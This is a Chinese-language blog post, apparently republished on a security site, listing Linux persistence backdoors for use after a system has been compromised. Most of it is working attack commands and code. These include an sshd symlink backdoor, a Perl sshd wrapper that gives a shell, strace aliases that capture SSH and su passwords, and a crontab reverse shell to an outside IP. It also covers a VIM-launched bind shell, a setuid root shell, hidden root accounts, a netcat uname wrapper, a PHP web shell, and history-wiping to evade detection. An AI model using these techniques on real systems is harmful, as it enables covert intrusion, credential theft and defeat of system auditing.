Linux权限维持

admin 2021年8月27日14:39:32评论71 views字数 3911阅读13分2秒阅读模式

/01 SSH后门,VIM后门

一,软链接

1
2
#!bash
ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oport=12345

image-20210103200837650

1
ssh root@192.168.79.131 -p 12345

image-20210103200832235

输入任意密码就可以root用户权限登陆,如果root用户被禁止登陆时,可以利用其他存在的用户身份登陆

二,SSH Server wrapper

1
2
3
4
5
6
7
#!bash
cd /usr/sbin
mv sshd ../bin
echo '#!/usr/bin/perl' >sshd
echo 'exec "/bin/sh" if (getpeername(STDIN) =~ /^..LF/);' >>sshd
echo 'exec {"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshd
chmod u+x sshd

image-20210103201529338

1
socat STDIO TCP4:192.168.79.131:22,sourceport=19526

image-20210103201538496

其中x00x00LF是19526的大端形式,便于传输和处理。如果你想修改源端口,可以用python的struct标准库实现

1
2
3
4
5
6
7
8
9
10
>>> import struct
>>> buffer = struct.pack('>I6',19526)
>>> print repr(buffer)
'x00x00LF'
>>> buffer = struct.pack('>I6',13377)
>>> print buffer
4A
>>> buffer = struct.pack('>I6',16714)
>>> print buffer
AJ

image-20210103201744879

init首先启动的是/usr/sbin/sshd,脚本执行到getpeername这里的时候,正则匹配会失败,于是执行下一句,启动/usr/bin/sshd,这是原始sshd。

原始的sshd监听端口建立了tcp连接后,会fork一个子进程处理具体工作。这个子进程,没有什么检验,而是直接执行系统默认的位置的/usr/sbin/sshd,这样子控制权又回到脚本了。

此时子进程标准输入输出已被重定向到套接字,getpeername能获取到客户端的TCP源端口,如果是19526就执行sh给个shell。

三,SSH Key

1
2
3
4
5
6
#生成私钥和公钥
ssh-keygen -t rsa
#把公钥id_rsa.pub发送到目标上
/root/.ssh/authorized_keys
#更改时间
touch -r

image-20210103201924222

1
service ssh restart

四,SSH keylogger

编辑当前用户下的.bashrc文件,在配置文件末尾添加:

1
alias ssh='strace -o /tmp/sshpwd-`date +%d%h%m%s`.log -e read,write,connect -s2048 ssh'

ssh连接,输入密码时的密码,无论错误或者正确都能记录到log里。

五,ssh影身登录

隐身登录系统,不会被last who w等指令检测到

1
2
ssh -T user@host /bin/bash -i
ssh -o UserKnownHostsFile=/dev/null -T user@host /bin/bash -if

image-20210103203206947

六,VIM后门

前提条件:VIM安装了python扩展,默认安装的话都有python扩展,脚本可以放到python的扩展目录

1
cd /usr/lib/python2.7/site-packages && $(nohup vim -E -c "pyfile dir.py"> /dev/null 2>&1 &) && sleep 2 && rm -f dir.py

image-20210103203248272

写入python脚本0.0,bind的第二位为端口

1
2
3
4
5
6
7
8
9
10
11
12
from socket import *
import subprocess
import os, threading, sys, time
if __name__ == "__main__":
server=socket(AF_INET,SOCK_STREAM)
server.bind(('0.0.0.0’,12345))
server.listen(5)
print 'waiting for connect'
talk, addr = server.accept()
print 'connect from',addr
proc = subprocess.Popen(["/bin/sh","-i"], stdin=talk,
stdout=talk, stderr=talk, shell=True)

/02 Alias后门,Crontab后门

一,Alias后门

通过alias来指定执行特定的命令时候静默运行其他程序,从而达到启动后门,记录键值等作用。

修改ssh命令,利用strace,使其具有记录ssh对read,write,connect调用的功能。

1
alias ssh='strace -o /tmp/sshpwd-`date +%d%h%m%s`.log -e read,write,connect -s2048 ssh'

image-20210103203859551

1
alias cat='/root/.shell && cat'

image-20210103203907052

二,Crontab后门

每分钟反弹一次shell给指定ip的8888端口

1
(crontab -l;echo '*/1 * * * * exec 9<> /dev/tcp/192.168.79.128/8888;exec 0<&9;exec 1>&9 2>&1;/bin/bash --noprofile -i')|crontab -

image-20210103204207184

1
nc -lvvp 8888

/03 Setuid & Setgid

setuid: 设置使文件在执行阶段具有文件所有者的权限. 典型的文件是 /usr/bin/passwd. 如果一般用户执行该文 件, 则在执行过程中, 该文件可以获得root权限, 从而可以更改用户的密码.

setgid: 该权限只对目录有效. 目录被设置该位后, 任何用户在此目录下创建的文件都具有和该目录所属的组相同 的组.

1
2
3
4
5
6
7
8
9
10
#include <unistd.h>
void main(int argc, char *argv[])
{
setuid(0);
setgid(0);
if(argc > 1)
execl("/bin/sh", "sh", "-c", argv[1], NULL);
else
execl("/bin/sh", "sh", NULL);
}

gcc back.c -o back

cp back /bin/

chmod u+s /bin/back

image-20210103204826052

/04 Other

一,简单文件隐藏

touch .ailumao.py

ls -la

二,隐藏权限

chattr命令可以给文件加锁,防止被删除,我们也可以将它利用起来

1
2
3
chattr +i 123

chattr -i 123

image-20210103205438790

三,隐藏历史记录

拿到shell以后,开启无痕模式,禁用命令历史记录功能。

set +o history

恢复

set -o history

image-20210103205610845

四,删除历史命令

删除100行以后的操作命令

1
sed -i '100,$d' .bash_history

五,PROMPT_COMMAND后门

Linux Bash Shell提供了一个环境变量:PROMPT_COMMAND,这个变量是在BASH出现提示符前执行的命令。

1
PROMPT_COMMAND='msg=$(history 1|{ read x y; echo $y; });user=$(who am i);logger $(date "+%Y-%m-%d%H:%M:%S"):$user[$(whoami)]:`pwd`/:"$msg"'

image-20210103211111121

1
export PROMPT_COMMAND="/usr/sbin/useradd -o -u 0 hack &>/dev/null && echo hacker:123456 | /usr/sbin/chpasswd &>/dev/null && unset PROMPT_COMMAND"

image-20210103211130116

六,strace后门

strace常用来跟踪进程执行时的系统调用和所接收的信号。 在Linux世界,进程不能直接访问硬件设备,当进程 需要访问硬件设备(比如读取磁盘文件,接收网络数据等等)时,必须由用户态模式切换至内核态模式,通 过系统 调用访问硬件设备。strace可以跟踪到一个进程产生的系统调用,包括参数,返回值,执行消耗的时间。

1
ssh='strace -o /tmp/sshpwd-`date +%d%h%m%s`.log -e read,write,connect -s2048 ssh'

image-20210103211316389

1
su='strace -o /tmp/sulog-`date +%d%h%m%s`.log -e read,write,connect -s2048 su'

image-20210103211325329

七,后门账号

1
perl -e 'print crypt("mingy","adgfagm")."n"'

adu01teZNx5nY

1
echo "weblogic1:adu01teZNx5nY:0:0:root:/root:/bin/bash">>/etc/passwd

image-20210103211417727

八,uname后门

1
2
#!/bin/bash
nc -l -v -p 4444 -e /bin/bash 2>/dev/null & /bin/uname $@

image-20210103211636417

九,r后门

适合使用web网页上的维权

1
echo -e "<?=`$_POST[cmd]`?>r<?='mingy ';?>" >/var/www/html/1ndex.php

image-20210103211657744

FROM :https://ailumao.cn/ | Author:Ailumao

相关推荐: 2018安恒三月月赛-WRITE-IP

打QWB去了,安恒没怎么看2333333333 再次感谢榕榕给我的题目QAQ… CRYPTO RSA 拿到两个文件,一个flag.enc一个pub.key。 最简单的rsa,直接秒了。事实是我也拿了一血。(居然把密码学的题放在re里面,猥琐2333333) 从…

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年8月27日14:39:32
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Linux权限维持https://cn-sec.com/archives/475129.html

发表评论

匿名网友 填写信息